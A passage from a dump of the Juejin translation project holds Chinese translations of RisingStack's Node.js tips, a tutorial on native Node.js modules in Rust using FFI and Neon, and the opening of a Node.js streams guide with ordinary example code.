是一个应用器引擎，它可以将软件运行所需要的一切打包到一个可移植的容器中。该文件系统包含了运行所需的所有东西：代码，运行时，系统工具和系统库。\n\n> [Kubernetes](https://kubernetes.io/) 是一个进行自动化部署、扩展和容器操作的开源平台。\n\n在深入到容器和编排之前，可以通过改进现有的代码来进行热身。遵循[ 12-factor 的应用程序](https://12factor.net/)方法，你可以更容易地容器化和部署你的服务。\n\n## 技巧 #7：监控你的服务\n\n在你的用户注意到它们之前解决问题。监控和警报是生产部署的重要组成部分，但是熟练掌握复杂的微服务系统并非易事。幸运的是，这是一个快速发展的领域，具有不断完善的工具。看看[未来的监测](https://blog.risingstack.com/the-future-of-microservices-monitoring-and-instrumentation/)或者了解最近的[ OpenTracing 标准](https://blog.risingstack.com/distributed-tracing-opentracing-node-js/)。\n\n如果你是一个更实际的人，我们的[ Prometheus 教程](https://blog.risingstack.com/node-js-performance-monitoring-with-prometheus/)给监控世界提供了一个很好的介绍。\n\n## 技巧 #8：贡献开源项目\n\n你有什么喜欢的 Node.js 项目吗？在你的帮助下它们有机会变得更好。只要找到符合你兴趣的问题，并帮助他们解决问题。\n\n如果您不知道如何开始，请仔细阅读[这些快速提示](https://egghead.io/articles/get-started-contributing-to-javascript-open-source)或观看有关 GitHub 上的开源贡献的[课程](https://egghead.io/courses/how-to-contribute-to-an-open-source-project-on-github)。实践是最好的学习方式，特别是程序员。\n\n## 你有什么 Node.js 开发建议\n\n对于 Node.js 开发者在 2018 年需要知道的技巧你还有什么建议？在评论部分留下你的意见！\n\n**我们希望你会有一个很棒2018年。快乐编码！**\n\n[Follow @RisingStack](https://twitter.com/RisingStack)\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/node-js-native-modules-with-rust.md",
    "content": "> * 原文地址：[Writing fast and safe native Node.js modules with Rust](https://blog.risingstack.com/node-js-native-modules-with-rust/)\n> * 原文作者：[Peter Czibik](https://twitter.com/@peteyycz)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/node-js-native-modules-with-rust.md](https://github.com/xitu/gold-miner/blob/master/TODO/node-js-native-modules-with-rust.md)\n> * 译者：[LeopPro](https://github.com/LeopPro)\n> * 校对者：[Serendipity96](https://github.com/Serendipity96)\n\n# 使用 Rust 编写快速安全的原生 Node.js 模块\n\n> 内容梗概 - 使用 Rust 代替 C++ 开发原生 Node.js 模块！\n\n[RisingStack](https://risingstack.com/) 去年面临一件棘手的事：我们已经尽可能让 Node.js 发挥出最高的性能，然而我们的服务器开销还是达到的最高限度。为了提高我们应用的性能（并且降低成本），我们决定彻底重写它，并将系统迁移到其他的基础设施上 - 毫无疑问，这个工作量很大，这里不详叙了。\n后来我发现，**我们只要写一个原生模块就行了！**\n\n那时候，我们还没意识到有更好的方法来解决我们的性能问题。就在几周前，我发现有另外一个方案可行 **采用 Rust 代替 C ++ 来实现原生模块。** 我发现这是一个很好的选择，这要归功于它提供的安全性和易用性。\n\n> 在这篇 Rust 教程中，我将手把手教你写一个先进、快速、安全的原生模块。\n\n## Node.js 服务器的性能问题\n\n我们的问题在 2016 年末的时候暴露出来，当时我们一直在研究 Node.js 的监控产品 Trace，该产品于2017年10月与 [Keymetrics](https://blog.risingstack.com/trace-becomes-keymetrics-by-october-31/) 合并。\n像当时的其他科技创业公司一样，我们将服务部署到 [Heroku](https://www.heroku.com/) 上以节省一些基础设施成本和维护费用。我们一直在构建微服务架构应用程序，这意味着我们很多服务都是通过 HTTP(S) 进行通信的。\n\n**棘手的问题来了：** 我们想让各服务之间进行安全的通信，但是 Heroku 不支持私有网络，所以我们不得不实现一个自己的方案。因此，我们查阅了一些安全认证方案，最终选定了 HTTP 签名。\n\n> 简要地解释一下：HTTP 签名基于非对称密码体系。要创建一个 HTTP 签名，你需要获取一个请求的所有部分：URL、请求头、请求体，使用你的私钥对其签名。然后，你可以将公钥发给将会收到签名请求的设备，以便它们验证。\n\n随时间流逝，我们发现在大多数 HTTP 服务器进程中，CPU 利用率已经达到了极限。显然，一个原因引起我们怀疑 - 如果你想加密，那就会发生这样的问题。\n\n然而，在对 [v8-profiler](https://github.com/node-inspector/v8-profiler) 进行了严格分析之后，我们发现问题不是由加密引起的！是 [URL 解析](https://node.js.org/docs/latest/api/url.html)占用 CPU 最多的时间。为什么？因为要进行验证，就必须解析 URL 来验证请求签名。\n\n为了解决这个问题，我们决定放弃 Heroku（这其中也有其他因素），我们创建了一个包含 Kubernetes 和内部网络的 Google 云基础设施，而不是优化我们的 URL 解析。\n\n是什么原因促使我写这个故事（教程）呢？就在几周前，我意识到我们可以用另一种方法优化 URL 解析 —— 使用 Rust 写一个原生库。\n\n## 编写原生模块 - 需要一个 Rust 模块\n\n**编写原生代码应该不那么难，对吧？**\n\n在 RisingStack，我们奉行工欲善其事，必先利其器的宗旨。我们经常对更好的软件构件方式做调查，在必要的时候，也使用 C++ 来编写原生模块。\n\n> 恬不知耻地说一句：我也在博客上写了我的学习历程 [原生 Node.js 模块之旅](https://blog.risingstack.com/writing-native-node-js-modules/)。去看一看！\n\n在此之前，我认为在绝大多数业务场景中，C++ 是编写一个快速有效的软件的正确选择。然而现在我们有了现代化的工具（本例中 - Rust），我们可以用它花费比以前都少的人力成本来编写更有效、更安全、更快速的代码。\n\n让我们回到最初的问题：解析一个 URL 难道很困难么？它包括协议、主机、查询参数……\n\n![URL-parsing-protocol](/content/images/2017/11/URL-parsing-protocol.png)  \n（出自 [Node.js documentation](https://nodejs.org/en/docs/)）\n\n这看起来真复杂。当我通读 [the URL standard](https://url.spec.whatwg.org/) 之后，我发现我不想自己实现它，所以我开始寻找替代品。\n\n我确信我不是唯一一个想要解析 URL 的人。浏览器可能已经解决了这个问题，所以我搜索了 Chromium 的解决方案：[谷歌链接](https://src.chromium.org/viewvc/chrome/trunk/src/url/)。尽管使用 N-API 可以很容易地从 Node.js 调用这个实现，但是有几个原因让我不这样做：\n\n*   **更新：** 当我只是从网上复制粘贴代码的时候，我立即感到了不安。长久以来，人们一直这样做，而且总有许多原因使它们不能很好地工作……没有什么好的方法去更新代码库中的大段代码。\n*   **安全性：** 一个没有丰富 C++ 编程经验的人是无法验证代码是否正确的，但是我们又不得不将它运行在我们服务器上。C++ 学习曲线过于陡峭，人们需要花费很长时间掌握它。\n*   **私密性：** 我们都听说过可用的 C++ 代码是存在的，然而我宁愿避免复用 C++ 代码，因为我没办法独自审计它。使用维护良好的开源模块给了我足够的信心，我不必担心它的私密性。\n\n**所以我更倾向于一门更易于使用的，具有简易更新机制和现代化的语言：Rust！**\n\n## 关于 Rust 简单说两句\n\nRust 允许我们编写快速有效的代码。\n\n所有的 Rust 工程由 `cargo` 管理 —— 就是 Rust 界的 `npm`。`cargo` 可以安装工程依赖，并且有一个注册表包含了所有你需要使用的包。\n\n我发现了一个可以在我们例子中使用的库 - [rust-url](https://github.com/servo/rust-url)，非常感谢 Servo 团队所做的工作。\n\n我们也要使用 Rust FFI！两年前我已经写过一个相关的博客 [using Rust FFI with Node.js](https://blog.risingstack.com/how-to-use-rust-with-node-when-performance-matters/)。从那时到现在，Rust 生态系统已经发生了很多改变。\n\n我们有了一个可以工作的库（rust-url），让我们试着去编译它吧！\n\n### 如何编译一个 Rust 应用？\n\n根据 [https://rustup.rs](https://rustup.rs) 指南，我们可以用 `rustc` 编译器，但是我们现在更应该关心的是 `cargo`。我不想深入描述它是如何工作的，如果你感兴趣，请移步至我们[以前的 Rust 博文](https://blog.risingstack.com/how-to-use-rust-with-node-when-performance-matters/)。\n\n### 创建新的 Rust 工程\n\n创建一个新的 Rust 工程就这么简单：`cargo new --lib <工程名>`。\n\n> 你可以在我的仓库中查看完整代码 [https://github.com/peteyy/rust-url-parse](https://github.com/peteyy/rust-url-parse)\n\n想要引用 Rust 库，我们只要将它作为一个依赖列在 `Cargo.toml` 中就可以了。\n\n```\n[package]\nname = \"ffi\"\nversion = \"1.0.0\"\nauthors = [\"Peter Czibik <p.czibik@gmail.com>\"]\n\n[dependencies]\nurl = \"1.6\"\n```\n\nRust 没有类似 `npm install` 一样安装依赖的命令 - 你必须自己手动添加它。然而有一个叫做 [`cargo edit`](https://github.com/killercup/cargo-edit) 的 crate 可以实现类似功能。\n\n> 译者注：crate 是 Rust 中一个类似包（package）的概念，上文中的 rust-url 也属于一个 crate。[crates.io](https://crates.io/) 允许全世界的 Rust 开发者搜索或者发布 crate。\n\n### Rust FFI\n\n为了从 Node.js 中调用 Rust，我们可以使用 Rust 提供的 FFI。FFI 是外部函数接口（Foreign Function Interface）的缩写。外部函数接口（FFI）是由一种程序语言编写的，能够调用另一种语言编写的例程或使用服务的机制。\n\n为了链接我们的库，我们还需要向 `Cargo.toml` 中添加两个东西\n\n```\n[lib]\ncrate-type = [\"dylib\"]\n\n[dependencies]\nlibc = \"0.2\"\nurl = \"1.6\"\n```\n\n在这里需要说明：我们的库是动态链接库，文件扩展名为 `.dylib`，这个库在运行期被加载而不是编译期。\n\n我们还要为工程添加 `libc`依赖，`libc` 是遵从 ANSI C 标准的 C 语言标准库。\n\n`libc` crate 是 Rust 的一个库，它具有与各种系统（包括libc）中常见类型和函数的本地绑定。这允许我们在 Rust 代码中使用 C 语言类型，我们想在 Rust 函数中接收或返回任何 C 类型数据，我们都必须使用它。\n\n我们的代码相当简单 —— 我使用 `extern crate` 关键字来引用 `url` 和 `libc` crate。我们要把函数标记为 `pub extern` 使得这些函数可以通过 FFI 被暴漏给外部。我们的函数持有一个代表 Node.js 中 `String` 类型的 `c_char` 指针。\n\n我们需要把类型转换标记为 `unsafe`。被标记了 `unsafe` 关键字的代码块可以访问非安全的函数或者取消引用在安全函数中的裸指针（raw pointer）。\n\nRust 使用 `Option<T>` 类型来表示一个可为空的值。就像 JavaScript 中一个值可以为 `null` 或者 `undefined` 一样。每次尝试访问可能为空的值时，都可以（也应该）明确地检查。在 Rust 中，有几种方式可以访问它，但是在这里，我将使用最简单的方式：如果值为空，则将会抛出一个错误（panic in Rust terms）[`unwrap`](https://doc.rust-lang.org/std/option/enum.Option.html#method.unwrap)。\n\n当我们搞定了 URL 解析，我们要将结果转化为 `CString` 才能传回 JavaScript。\n\n```\nextern crate libc;\nextern crate url;\n\nuse std::ffi::{CStr,CString};\nuse url::{Url};\n\n#[no_mangle]\npub extern \"C\" fn get_query (arg1: *const libc::c_char) -> *const libc::c_char {\n\n    let s1 = unsafe { CStr::from_ptr(arg1) };\n\n    let str1 = s1.to_str().unwrap();\n\n    let parsed_url = Url::parse(\n        str1\n    ).unwrap();\n\n    CString::new(parsed_url.query().unwrap().as_bytes()).unwrap().into_raw()\n}\n```\n\n要编译这些 Rust 代码，你可以使用 `cargo build --release` 命令。在编译之前，确认你在 `Cargo.toml` 的依赖中添加 `url` 库了！\n\n现在我们可以使用 Node.js 的 `ffi` 包创建一个用于调用 Rust 代码的模块。\n\n```\nconst path = require('path');\nconst ffi = require('ffi');\n\nconst library_name = path.resolve(__dirname, './target/release/libffi');\nconst api = ffi.Library(library_name, {\n  get_query: ['string', ['string']]\n});\n\nmodule.exports = {\n  getQuery: api.get_query\n};\n```\n\n`cargo build --release` 命令编译出的 `.dylib` 命名规则是 `lib*`，其中的 `*` 是你的库名。\n\n美滋滋：我们已经有了一个可以从 Node.js 调用的 Rust 代码！虽说能拔脓的就是好膏药，但是你应该已经发现了，我们不得不做一大堆类型转换，这将增加我们函数调用的开销。一定有更好的办法将我们的代码与 JavaScript 做整合。\n\n## 初遇 Neon\n\n> 用于编写安全、快速的原生 Node.js 模块的 Rust 绑定。\n\nNeon 让我们可以在 Rust 代码中使用 JavaScript 类型。要创建一个新的 Neon 工程，我们可以使用它自带的命令行工具。执行 `npm install neon-cli --global` 来安装它。\n\n执行 `neon new <projectname>` 将会创建一个新的没有任何配置 Neon 工程。\n\n创建好 Neon 工程后，我们重写上面的代码如下：\n\n```\n#[macro_use]\nextern crate neon;\n\nextern crate url;\n\nuse url::{Url};\nuse neon::vm::{Call, JsResult};\nuse neon::js::{JsString, JsObject};\n\nfn get_query(call: Call) -> JsResult<JsString> {\n    let scope = call.scope;\n    let url = call.arguments.require(scope, 0)?.check::<JsString>()?.value();\n\n    let parsed_url = Url::parse(\n        &url\n    ).unwrap();\n\n    Ok(JsString::new(scope, parsed_url.query().unwrap()).unwrap())\n}\n\n    register_module!(m, {\n        m.export(\"getQuery\", get_query)\n    });\n```\n\n上述代码中，新类型 `JsString`、`Call` 和 `JsResult` 是对 JavaScript 类型的封装，这样我们就可以接入 JavaScript VM ，执行上面的代码。`Scope` 将我们的新变量绑定到当前的 JavaScript 域中，这让我们的变量就可以被垃圾收集器回收。\n\n这和我之前写的博文中 [使用 C++ 编写原生 Node.js 模块](https://blog.risingstack.com/writing-native-node-js-modules/) 解释地非常类似。\n\n值得注意的是，`#[macro_use]` 属性允许我们使用 `register_module!` 宏，这可以让我们像 Node.js 中的 `module.exports` 一样创建模块。\n\n唯一棘手的地方是对参数的访问：\n\n```\nlet url = call.arguments.require(scope, 0)?.check::<JsString>()?.value();\n```\n\n我们得接受所有类型的参数（如同任何 JavaScript 函数一样），所以我们没办法确定参数的数量，这就是我们必须要检查第一个元素是否存在的原因。\n\n除此之外，我们可以摆脱大多数的序列化工作，直接使用 `Js` 类型就好了。\n\n**现在，我们尝试运行它！**\n\n如果你事先下载了我的示例代码，你需要进入 ffi 文件夹执行 `cargo build --release` ，然后进入 neon 文件夹执行  `neon build`（事先要装好 neon-cli）。\n\n如果你都准备好了，你可以使用 Node.js 的 [faker library](https://www.npmjs.com/package/faker) 生成一个新的 URL 列表。\n\n执行 `node generateUrls.js` 命令，这将会在你的文件夹中创建一个 `urls.json` 文件，我们的测试程序一会儿会尝试解析它。搞定了这些后，你可以执行 `node urlParser.js` 来运行基准测试，如果全部成功了，你将会看到下图：\n\n![Rust-Node-js-success-screen](/content/images/2017/11/Rust-Node-js-success-screen.png)\n\n测试程序解析了100个URL（随机产生），我们的应用只需要一次运行就可以解析出结果。如果你想做基准测试，请增加 URL 数量（urlParser.js 中的 `tryCount`）或次数（urlGenerator.js 中的 `urlLength`）。\n\n显而易见，在基准测试中表现最好的是 Rust neon 版本，但是随之数组长度的增加，V8 有越来越多的优化空间，他们之间的成绩会接近。最终它将超过 Rust neon 实现。\n\n![Rust-node-js-benchmark](/content/images/2017/11/Rust-node-js-benchmark.png)\n\n这只是一个简单的例子，当然，在这个领域我们还有很多东西要学习，\n\n后续，我们可以进一步优化计算，尽可能的利用并发计算提高性能，一些类似 [`rayon`](https://crates.io/crates/rayon) 的 crates 提供给我们类似的功能。\n\n## 在 Node.js 中实现 Rust 模块\n\n希望你今天跟我学到了在 Node.js 中实现 Rust 模块的方法，从此你可以从（工具链中的）新工具中受益。我想说的是，虽然这是能解决问题的（而且很有趣），但它并不是解决所有性能问题的银弹。\n\n**请记住，在某些场景下，Rust 可能是很便利的解决方案**\n\n如果你想看看我在 Rust 匈牙利研讨会上关于本话题的发言，[点这里](https://youtu.be/zz1Gie9FkbI)！\n\n如果你有任何问题或评论，请在下面留言，我将在这回复你们！\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/node-js-streams-everything-you-need-to-know.md",
    "content": "> * 原文地址：[Node.js Streams: Everything you need to know](https://medium.freecodecamp.com/node-js-streams-everything-you-need-to-know-c9141306be93)\n> * 原文作者：本文已获原作者 [Samer Buna](https://medium.freecodecamp.com/@samerbuna) 授权\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[loveky](https://github.com/loveky)\n> * 校对者：[zaraguo](https://github.com/zaraguo) [Aladdin-ADD](https://github.com/Aladdin-ADD)\n\n# Node.js 流: 你需要知道的一切 #\n\n![](https://img30.360buyimg.com/uba/jfs/t6076/25/1691927562/1083199/d5be5c18/59357a9dNffac5f58.jpg)\n\n[图片来源](https://commons.wikimedia.org/wiki/File:Urban_stream_in_park.jpg)\n\nNode.js 中的流有着难以使用，更难以理解的名声。现在我有一个好消息告诉你：事情已经不再是这样了。\n\n很长时间以来，开发人员创造了许许多多的软件包为的就是可以更简单的使用流。但是在本文中，我会把重点放在原生的 [Node.js 流 API](https://nodejs.org/api/stream.html)上。\n\n> “流是 Node 中最棒的，同时也是最被人误解的想法。”\n\n> — Dominic Tarr\n\n### 流到底是什么呢？ ###\n\n流是数据的集合 —— 就像数组或字符串一样。区别在于流中的数据可能不会立刻就全部可用，并且你无需一次性地把这些数据全部放入内存。这使得流在操作大量数据或是数据从外部来源逐**段**发送过来的时候变得非常有用。\n\n然而，流的作用并不仅限于操作大量数据。它还带给我们组合代码的能力。就像我们可以通过管道连接几个简单的 Linux 命令以组合出强大的功能一样，我们可以利用流在 Node 中做同样的事。\n\n![](https://img13.360buyimg.com/uba/jfs/t5605/188/2846141474/21851/33e5d376/59357acdN88421e7c.png)\n\nLinux 命令的组合性\n\n```bash\nconst grep = ... // 一个 grep 命令输出的 stream\nconst wc = ... // 一个 wc 命令输入的 stream\n\ngrep.pipe(wc)\n```\n\nNode 中许多内建的模块都实现了流接口：\n\n![](https://img20.360buyimg.com/uba/jfs/t5737/26/2964786637/95062/83389b23/59357af3N88fa9f2d.png)\n\n截屏来自于我的 Pluralsight 课程 —— 高级 Node.js\n\n上边的列表中有一些 Node.js 原生的对象，这些对象也是可以读写的流。这些对象中的一部分是既可读、又可写的流，例如 TCP sockets，zlib 以及 crypto。\n\n需要注意的是这些对象是紧密关联的。虽然一个 HTTP 响应在客户端是一个可读流，但在服务器端它却是一个可写流。这是因为在 HTTP 的情况中，我们基本上是从一个对象（`http.IncomingMessage`）读取数据，向另一个对象（`http.ServerResponse`）写入数据。\n\n还需要注意的是 `stdio` 流（`stdin`，`stdout`，`stderr`）在子进程中有着与父进程中相反的类型。这使得在子进程中从父进程的 `stdio` 流中读取或写入数据变得非常简单。\n\n### 一个流的真实例子 ###\n\n理论是伟大的，当往往没有 100% 的说服力。下面让我们通过一个例子来看看流在节省内存消耗方面可以起到的作用。\n\n首先让我们创建一个大文件：\n\n```js\nconst fs = require('fs');\nconst file = fs.createWriteStream('./big.file');\n\nfor(let i=0; i<= 1e6; i++) {\n  file.write('Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.\\n');\n}\n\nfile.end();\n```\n\n看看在创建这个大文件时我用到了什么。一个可写流！\n\n通过 `fs` 模块你可以使用一个流接口读取或写入文件。在上面的例子中，我们通过一个可写流向 `big.file` 写入了 100 万行数据。\n\n执行这段脚本会生成一个约 400MB 大小的文件。\n\n以下是一个用来发送 `big.file` 文件的 Node web 服务器：\n\n```js\nconst fs = require('fs');\nconst server = require('http').createServer();\n\nserver.on('request', (req, res) => {\n  fs.readFile('./big.file', (err, data) => {\n    if (err) throw err;\n\n    res.end(data);\n  });\n});\n\nserver.listen(8000);\n```\n\n当服务器收到请求时，它会通过异步方法 `fs.readFile` 读取文件内容发送给客户端。看起来我们并没有阻塞事件循环。一切看起来还不错，是吧？是吗？\n\n让我们来看看真实的情况吧。我们启动服务器，发起连接，并监控内存的使用情况。\n\n当我启动服务器的时候，它占用了一个正常大小的内存空间，8.7MB：\n\n![](https://img11.360buyimg.com/uba/jfs/t5623/215/2967958024/56361/da4fbfad/59357b1bNeb053c07.png)\n\n当我连接到服务器的时候。请注意内存消耗的变化：\n\n![](https://img13.360buyimg.com/uba/jfs/t5683/37/2987262957/2500112/2678603c/59357b56N5fb2b483.gif)\n\n哇 —— 内存消耗暴增到 434.8MB。\n\n在我们将其写入响应对象之前，我们基本上把 `big.file` 的全部内容都载入到内存中了。这是非常低效的。\n\nHTTP 响应对象也是一个可写流。这意味着如果我们有一个代表了 `big.file` 内容的可读流，我们就可以通过将两个流连接起来以实现相同的功能而不必消耗约 400MB 的内存。\n\nNode `fs` 模块中的 `createReadStream` 方法可以针对任何文件给我们返回一个可读流。我们可以把它和响应对象连接起来：\n\n```js\nconst fs = require('fs');\nconst server = require('http').createServer();\n\nserver.on('request', (req, res) => {\n  const src = fs.createReadStream('./big.file');\n  src.pipe(res);\n});\n\nserver.listen(8000);\n```\n\n现在，当你再次连接到服务器时，神奇的事情发生了（请注意内存消耗）：\n\n![](https://cloud.githubusercontent.com/assets/1198651/26791059/85afb648-4a48-11e7-917c-48415d8737ee.gif)\n\n**发生了什么？**\n\n当客户端请求这个大文件时，我们通过流逐块的发送数据。这意味着我们不需要把文件的全部内容缓存到内存中。内存消耗只增长了大约 25MB。\n\n你可以把这个例子推向极端。重新生成一个 500 万行而不是 100 万行的 `big.file` 文件。它大概有 2GB 那么大。这已经超过了 Node 中默认的缓冲区大小的上限。\n\n如果你尝试通过 `fs.readFile` 读取那个文件，默认情况下会失败（当然你可以修改缓冲区大小上限）。但是通过使用 `fs.createReadStream`，向客户端发送一个 2GB 的文件就没有任何问题。更棒的是，进程的内存消耗并不会因文件增大而增长。\n\n准备好学习流了吗？\n\n> 这篇文章是[我的 Pluralsight 课堂上 Node.js 课程](https://www.pluralsight.com/courses/nodejs-advanced)中的一部分。你可以通过这个链接找到这部分内容的视频版。\n\n### 流快速入门 ###\n\n在 Node.js 中有四种基本类型的流：可读流，可写流，双向流以及变换流。\n\n- 可读流是对一个可以读取数据的源的抽象。`fs.createReadStream` 方法是一个可读流的例子。\n- 可写流是对一个可以写入数据的目标的抽象。`fs.createWriteStream` 方法是一个可写流的例子。\n- 双向流既是可读的，又是可写的。TCP socket 就属于这种。\n- 变换流是一种特殊的双向流，它会基于写入的数据生成可供读取的数据。例如使用 `zlib.createGzip` 来压缩数据。你可以把一个变换流想象成一个函数，这个函数的输入部分对应可写流，输出部分对应可读流。你也可能听说过变换流有时被称为 “**thought streams**”。\n\n所有的流都是 `EventEmitter` 的实例。它们发出可用于读取或写入数据的事件。然而，我们可以利用 `pipe` 方法以一种更简单的方式使用流中的数据。\n\n#### pipe 方法 ####\n\n以下这行代码就是你要记住的魔法：\n\n```js\nreadableSrc.pipe(writableDest)\n```\n\n在这行简单的代码中，我们以管道的方式把一个可读流的输出连接到了一个可写流的输入。管道的上游（source）必须是一个可读流，下游（destination）必须是一个可写流。当然，它们也可以是双向流/变换流。事实上，如果我们使用管道连接的是双向流，我们就可以像 Linux 系统里那样连接多个流：\n\n```js\nreadableSrc\n  .pipe(transformStream1)\n  .pipe(transformStream2)\n  .pipe(finalWrtitableDest)\n```\n\n`pipe` 方法会返回最后一个流，这使得我们可以串联多个流。对于流 `a` （可读），`b` 和 `c` （双向），以及 `d`（可写）。我们可以这样：\n\n```js\na.pipe(b).pipe(c).pipe(d)\n\n# 等价于:\na.pipe(b)\nb.pipe(c)\nc.pipe(d)\n\n# 在 Linux 中，等价于：\n$ a | b | c | d\n```\n\n`pipe` 方法是使用流最简单的方式。通常的建议是要么使用 `pipe` 方法、要么使用事件来读取流，要避免混合使用两者。一般情况下使用 `pipe` 方法时你就不必再使用事件了。但如果你想以一种更加自定义的方式使用流，就要用到事件了。\n\n#### 流事件 ####\n\n除了从可读流中读取数据写入可写流以外，`pipe` 方法还自动帮你处理了一些其他情况。例如，错误处理，文件结尾，以及两个流读取/写入速度不一致的情况。\n\n然而，流也可以直接通过事件读取。以下是一段简化的使用事件来模拟 `pipe` 读取、写入数据的代码：\n\n```js\n# readable.pipe(writable)\n\nreadable.on('data', (chunk) => {\n  writable.write(chunk);\n});\n\nreadable.on('end', () => {\n  writable.end();\n});\n```\n\n以下是一些使用可读流或可写流时用到的事件和方法：\n\n![](https://img12.360buyimg.com/uba/jfs/t5761/104/2911588509/94847/ca85cce7/59357be5Nfc521b48.png)\n\n截屏来自于我的 Pluralsight 课程 - 高级 Node.js\n\n这些事件和函数是相关的，因为我们总是把它们组合在一起使用。\n\n一个可读流上最重要的两个事件是：\n\n- `data` 事件，任何时候当可读流发送数据给它的消费者时，会触发此事件\n- `end` 事件，当可读流没有更多的数据要发送给消费者时，会触发此事件\n\n一个可写流上最重要的两个事件是：\n\n- `drain` 事件，这是一个表示可写流可以接受更多数据的信号.\n- `finish` 事件，当所有数据都被写入底层系统后会触发此事件。\n\n事件和函数可以组合起来使用，以更加定制，优化的方式使用流。对于可读流，我们可以使用 `pipe`/`unpipe` 方法，或是 `read`，`unshift`，`resume`方法。对于可写流，我们可以把它设置为 `pipe`/`unpipe` 方法的下游，亦或是使用 `write` 方法写入数据并在写入完成后调用 `end` 方法。\n\n#### 可读流的暂停和流动模式 ####\n\n可读流有两种主要的模式，影响我们使用它的方式：\n\n- 它要么处于**暂停**模式\n- 要么就是处于**流动**模式\n\n这些模式有时也被成为拉取和推送模式。\n\n所有的可读流默认都处于暂停模式。但它们可以按需在流动模式和暂停模式间切换。这种切换有时会自动发生。\n\n当一个可读流处于暂停模式时，我们可以使用 `read()` 方法按需的读取数据。而对于一个处于流动模式的可读流，数据会源源不断的流动，我们需要通过事件监听来处理数据。\n\n在流动模式中，如果没有消费者监听事件那么数据就会丢失。这就是为何在处理流动模式的可读流时我们需要一个 `data` 事件回调函数。事实上，通过增加一个 `data` 事件回调就可以把处于暂停模式的流切换到流动模式；同样的，移除 `data` 事件回调会把流切回到暂停模式。这么做的一部分原因是为了和旧的 Node 流接口兼容。\n\n要手动在这两个模式间切换，你可以使用 `resume()` 和 `pause()` 方法。\n\n![](https://img10.360buyimg.com/uba/jfs/t5713/301/2899078962/40099/a3c38f7d/59357c0dN8df8e18c.png)\n\n截屏来自于我的 Pluralsight 课程 - 高级 Node.js\n\n当使用 `pipe` 方法时，它会自动帮你处理好这些模式之间的切换，因此你无须关心这些细节。\n\n### 实现流接口 ###\n\n当我们讨论 Node.js 中的流时，主要是讨论两项任务：\n\n- 一个是**实现**流。\n- 一个是**使用**流。\n\n到目前为止，我们只讨论了如何使用流。接下来让我们看看如何实现它！\n\n流的实现者通常都会 `require` `stream` 模块。\n\n#### 实现一个可写流 ####\n\n要实现一个可写流，我们需要使用来自 stream 模块的 `Writable` 类。\n\n```js\nconst { Writable } = require('streams');\n```\n\n实现一个可写流有很多种方法。例如，我们可以继承 `Writable` 类：\n\n```js\nclass myWritableStream extends Writable {\n}\n```\n\n然而，我倾向于更简单的构造方法。我们可以直接给 `Writable` 构造函数传入配置项来创建一个对象。唯一必须的配置项是一个 `write` 函数，它用于暴露一个写入数据的接口。\n\n```js\nconst { Writable } = require('stream');\nconst outStream = new Writable({\n  write(chunk, encoding, callback) {\n    console.log(chunk.toString());\n    callback();\n  }\n});\n\nprocess.stdin.pipe(outStream);\n```\n\nwrite 方法接受三个参数。\n\n- **chunk** 通常是一个 buffer，除非我们对流进行了特殊配置。\n- **encoding** 通常可以忽略。除非 chunk 被配置为不是 buffer。\n- **callback** 方法是一个在我们完成数据处理后要执行的回调函数。它用来表示数据是否成功写入。若是写入失败，在执行该回调函数时需要传入一个错误对象。\n\n在 `outStream` 中，我们只是单纯的把收到的数据当做字符串 `console.log` 出来，并通过执行 `callback` 时不传入错误对象以表示写入成功。这是一个非常简单且没什么用处的**回传**流。它会回传任何收到的数据。\n\n要使用这个流，我们可以把它和可读流 `process.stdin` 配合使用。只需把 `process.stdin` 通过管道连接到 `outStream`。\n\n当我们运行上面的代码时，任何输入到 `process.stdin` 中的字符都会被 `outStream` 中的 `console.log` 输出回来。\n\n这不是一个非常实用的流实现，因为 Node 已经内置了它的实现。它几乎等同于 `process.stdout`。通过把 `stdin` 和 `stdout` 连接起来，我们就可以通过一行代码得到完全相同的回传效果：\n\n```js\nprocess.stdin.pipe(process.stdout);\n```\n\n#### 实现一个可读流 ####\n\n要实现可读流，我们需要引入 `Readable` 接口并通过它创建对象：\n\n```js\nconst { Readable } = require('stream');\n\nconst inStream = new Readable({});\n```\n\n这是一个非常简单的可读流实现。我们可以通过 `push` 方法向下游推送数据。\n\n```js\nconst { Readable } = require('stream');  \n\nconst inStream = new Readable();\n\ninStream.push('ABCDEFGHIJKLM');\ninStream.push('NOPQRSTUVWXYZ');\n\ninStream.push(null); // 